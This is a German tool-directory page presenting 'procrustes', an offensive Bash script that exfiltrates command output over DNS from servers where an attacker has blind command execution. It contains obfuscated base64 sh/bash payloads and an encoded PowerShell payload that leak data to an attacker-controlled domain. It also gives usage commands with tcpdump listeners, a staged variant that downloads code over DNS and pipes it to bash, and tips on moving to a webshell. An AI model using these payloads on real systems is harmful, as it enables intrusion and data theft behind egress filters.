Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Tools/GitHubGitHub/vp777/procrustes
ExploitationDatenexfiltrationCommand and ControlRed TeamingDNS-Analyse
GitHubvp777/procrustes

procrustes

Ein Bash-Skript, das die Exfiltration von Daten über DNS automatisiert für den Fall, dass wir eine blinde Befehlsausführung auf einem Server mit Ausgangsfilterung haben.

Repository anzeigen
21032vor 5 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Procrustes

Ein Bash-Skript, das die Exfiltration von Daten über DNS automatisiert, falls wir eine blinde Befehlsausführung auf einem Server haben, auf dem alle ausgehenden Verbindungen außer DNS blockiert sind. Das Skript unterstützt derzeit sh, bash und powershell und ist mit exec-artiger Befehlsausführung kompatibel (z.B. java.lang.Runtime.exec).

Unstaged:

Staged:

Für seine Operationen nimmt das Skript als Eingabe den Befehl, den wir auf dem Zielserver ausführen möchten, und transformiert ihn entsprechend der Ziel-Shell, um die Ausgabe über DNS exfiltrieren zu können. Nach der Transformation wird der Befehl an den „Dispatcher“ übergeben. Der Dispatcher ist ein vom Benutzer bereitgestelltes Programm, das dafür verantwortlich ist, einen Befehl als Eingabe zu nehmen und ihn auf dem Zielserver mit allen erforderlichen Mitteln (z.B. Ausnutzen einer Sicherheitslücke) auszuführen. Nachdem der Befehl auf dem Zielserver ausgeführt wurde, werden DNS-Anfragen an unseren DNS-Nameserver erwartet, die Teile unserer Daten enthalten. Das Skript lauscht auf diese Anfragen, bis die Ausgabe des vom Benutzer bereitgestellten Befehls vollständig exfiltriert ist.

Nachfolgend sind die unterstützten Befehlstransformationen aufgeführt, die für die Exfiltration des Befehls ls erstellt wurden:

sh:

root@kitploit:~
sh -c $@|base64${IFS}-d|sh . echo IGRpZyBAMCArdHJpZXM9NSBgKGxzKXxiYXNlNjQgLXcwfHdjIC1jYC5sZW4xNjAzNTQxMTc4LndoYXRldi5lcgo=

bash:

root@kitploit:~
bash -c {echo,IG5zbG9va3VwIGAobHMpfGJhc2U2NCAtdzB8d2MgLWNgLmxlbi4xNjAzMDMwNTYwLndoYXRldi5lcgo=}|{base64,-d}|bash

powershell:

root@kitploit:~
powershell -enc UgBlAHMAbwBsAHYAZQAtAEQAbgBzAE4AYQBtAGUAIAAkACgAIgB7ADAAfQAuAHsAMQB9AC4AewAyAH0AIgAgAC0AZgAgACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AFQAbwBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAoAGwAcwApACkAKQAuAGwAZQBuAGcAdABoACkALAAiAGwAZQBuACIALAAiADEANgAwADMAMAAzADAANAA4ADgALgB3AGgAYQB0AGUAdgAuAGUAcgAiACkACgA=

Verwendung

  1. Lokaler Test für bash:
root@kitploit:~
./procroustes_chunked.sh -h whatev.er -d "dig @0 +tries=5" -x dispatcher_examples/local_bash.sh -- 'ls -lha|grep secret' < <(stdbuf -oL tcpdump --immediate -l -i any udp port 53)
  1. Lokaler Test für powershell mit WSL2:
root@kitploit:~
stdbuf -oL tcpdump --immediate -l -i any udp port 53|./procroustes_chunked.sh -w ps -h whatev.er -d "Resolve-DnsName -Server wsl2_IP -Name" -x dispatcher_examples/local_powershell_wsl2.sh -- 'gci | % {$_.Name}'
  1. powershell-Beispiel, bei dem wir per SSH zu unserem NS verbinden, um die eingehenden DNS-Anfragen zu erhalten.
root@kitploit:~
./procroustes_chunked.sh -w ps -h yourdns.host -d "Resolve-DnsName" -x dispatcher_examples/curl_waf.sh -- 'gci | % {$_.Name}' < <(stdbuf -oL ssh user@HOST 'sudo tcpdump --immediate -l udp port 53')
  1. Weitere Informationen zu den Optionen:
root@kitploit:~
./procroustes_chunked.sh --help

procroustes_chunked vs. procroustes_full

Kurz gesagt, angenommen wir möchten einige Daten exfiltrieren, die in vier Teile aufgeteilt werden müssen, um über DNS übertragen werden zu können:

  • procroustes_chunked: Ruft den Dispatcher viermal auf und fordert jedes Mal einen anderen Teil vom Server an. Die Payload-Größe ist relativ gering, es ist schnell und benötigt keine besondere Konfiguration.
  • procroustes_full: Ruft den Dispatcher einmal auf; der auf dem Server ausgeführte Befehl ist dafür verantwortlich, die Daten zu teilen und zu senden. Die Payload-Größe kann größer sein, es ist schnell (Geschwindigkeit kann über den Parameter -t angepasst werden) und die Geschwindigkeit kann weiter optimiert werden, wenn der dns_server auf dem Nameserver läuft.
  • procroustes_full/staged: Wie procroustes_full, verwendet aber einen Stager, um den Befehl zu erhalten, der von procroustes_full zum Teilen der Daten verwendet wird. Es hat die kleinste „Payload“-Größe, ist aber in Bezug auf die Exfiltrationsrate am langsamsten, da die eigentliche Payload über DNS heruntergeladen wird. Für den Betrieb ist die Erstellung eines nsconfig-Skripts erforderlich. Hinweis: Das nsconfig-Skript sollte nur einmal pro Nameserver (und nicht pro Zielserver) erstellt werden.

Einige Unterschiede lassen sich auch anhand der Vorlagenbefehle für bash veranschaulichen:

procroustes_chunked/bash:

root@kitploit:~
%DNS_TRIGGER% `(%CMD%)|base64 -w0|cut -b$((%INDEX%+1))-$((%INDEX%+%COUNT%))'`.%UNIQUE_DNS_HOST%

procroustes_full/bash:

root@kitploit:~
(%CMD%)|base64 -w0|echo $(cat)--|grep -Eo '.{1,%LABEL_SIZE%}'|xargs -n%NLABELS% echo|tr ' ' .|awk '{printf "%s.%s%s\n",$1,NR,"%UNIQUE_DNS_HOST%"}'|xargs -P%THREADS% -n1 %DNS_TRIGGER%

procroustes_full/bash/staged:

root@kitploit:~
(seq %ITERATIONS%|%S_DNS_TRIGGGER% $(cat).%UNIQUE_DNS_HOST%|tr . \ |printf %02x $(cat)|xxd -r -p)|bash

[1] Bei der gestaffelten Version wird der Befehl über DNS heruntergeladen, daher ist die angegebene Größe auch die gesamte Payload-Größe.

[2] Bei procroustes_chunked wird der Dispatcher mehrfach aufgerufen, ebenso wie der bereitgestellte Befehl, der auf dem Server ausgeführt werden soll (bis seine gesamte Ausgabe exfiltriert ist). Dieses Verhalten ist nicht ideal, wenn die Zustellung von Befehlen an den Server (durch Aufrufen des Dispatchers) zeit- oder ressourcenintensiv ist.

Es kann auch Probleme verursachen, wenn der auf dem Server ausgeführte Befehl nicht idempotent (funktional oder ausgabe-technisch, z.B. „ls;rm file“) oder zeit-/ressourcenintensiv ist (z.B. find / -name secret). Eine Problemumgehung in diesem Fall besteht darin, die Befehlsausgabe zuerst in einer Datei zu speichern (z.B. /tmp/file) und dann das Skript zu verwenden, um diese Datei zu lesen.

[3] Bei der gestaffelten Version haben wir den Overhead der Zeit, die benötigt wird, um die eigentliche Payload über DNS zu erhalten. Es sollte beachtet werden, dass das Skript A-Records verwendet, um die eigentliche Payload zu erhalten. Obwohl dies es unserem Verkehr ermöglicht, sich besser in den regulären Verkehr der Zielumgebung einzufügen, bietet es eine begrenzte Kanalkapazität (z.B. 4 Bytes pro Anfrage). Wir könnten andere Record-Typen wie TXT verwenden und die Stufe-Download-Zeit (nahezu auf null) und die Stager-Größe minimieren.

Tipps

  • Verwende dieses Skript wahrscheinlich so wenig wie möglich; versuche so schnell wie möglich zu einem Kanal mit höherer Bandbreite zu wechseln (z.B. HTTP-Webshell).
  • Falls eine lange Textausgabe erwartet wird, kannst du versuchen, sie zuerst zu komprimieren, um den Exfiltrationsprozess zu beschleunigen, z.B. ./procrustes_full.sh ... -o >(setsid gunzip) -- 'ls -lhR / | gzip'
  • Eine weitere Möglichkeit für große/binäre Dateien besteht darin, sie in einen Pfad zu kopieren, der beispielsweise über HTTP zugänglich ist.
  • Für eine höhere Exfiltrationsbandbreite in procrustes_full, führe den dns_server auf deinem Nameserver aus. So vermeiden wir, auf das Timeout des zugrunde liegenden DNS_TRIGGER zu warten, bevor wir mit einem neuen Teil fortfahren.
  • Idealerweise hättest du eine Domain (-h Option) mit einem NS-Eintrag, der auf einen von dir kontrollierten Server zeigt (Server, auf dem wir tcpdump ausführen). Falls das Ziel jedoch Verbindungen zu beliebigen DNS-Servern herstellen darf, kann dies vermieden werden, indem der DNS-Trigger explizit so gesetzt wird, dass er unseren DNS-Server verwendet (z.B. dig @your_server whatev.er).

Danksagungen

  • Collabfiltrator – Idee des Aufteilens der Daten auf dem Server. Es bietet auch ähnliche Funktionen wie dieses Skript, also schau es dir an.
  • DNSlivery – Eine modifizierte Version von DNSlivery wird als DNS-Server verwendet.
Tool herunterladen
procroustes_chunkedprocroustes_fullprocroustes_full_staged
Payload-Größen-Overhead (bash/powershell)150*NLABELS/500*NLABELS (+CMD_LEN)300/800 (+CMD_LEN)150/400[1]
Anzahl Dispatcher-Aufrufe#Ausgabe/(LABEL_SIZE*NLABELS)[2]11
Geschwindigkeit (bash/powershell)✔/✔✔/✔✓/✓[3]
Konfigurationsschwierigkeiteinfacheinfach+mittel